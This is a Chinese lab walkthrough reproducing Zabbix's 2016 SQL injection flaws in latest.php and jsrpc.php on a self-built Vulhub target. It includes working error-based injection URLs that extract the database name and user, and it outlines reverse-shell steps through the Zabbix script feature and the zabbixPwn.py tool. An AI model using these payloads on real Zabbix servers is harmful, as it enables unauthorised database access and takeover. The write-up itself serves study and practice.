郑重声明:所用漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。
漏洞简述
zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。
(引用)2016年8月12日,1n3通过邮件披露了Zabbix软件的jsrpc.php文件在处理profileIdx2参数时存在insert方式的SQL注入漏洞,与官方通告的latest.php文件在处理toggle_ids参数时存在insert方式的SQL注入漏洞属于同一类型的漏洞,只是攻击的位置不同。
影响版本:2.0.5 2.0.13 2.2.x 2.4.2 2.4.5 2.4.7 2.4.8 2.5.0 3.0.0-3.0.3
准备环境
测试机IP:192.168.79.129
靶机IP:192.168.79.131
1. 启动Vulnhub靶机环境:

2. 验证靶机应用启用成功:

漏洞复现
注入点一:latest.php页面
前提条件:至少需要一个guest账户权限
1. 使用guest账户登录

2. 查看cookie,获取zbx_sessionid

3. 注入payload(sid取zbx_sessionid后16位):
http://192.168.79.131:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,database()),0)

http://192.168.79.131:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)

注入点二:jsrpc.php页面,无须登录
http://192.168.79.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,database()),0)

http://192.168.79.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

扩展: Get Shell
前提条件:拥有Zabbix管理员权限
方法一:Script
1. 创建一个反弹script

2. 使用NC侦听反弹端口

3. 触发反弹

4. 得到反弹Shell

方法二:工具 zabbixPwn.py
引用:https://github.com/RicterZ/zabbixPwn
1. 运行

2. 登录Zabbix寻找到hostid:10084

3. 填写hostid,继续运行,成功执行命令

4. 使用NC侦听反弹端口

5. 执行反弹命令

6. 得到反弹Shell

针对Zabbix的攻击思路(引用来自作者:0xdf)

网友评论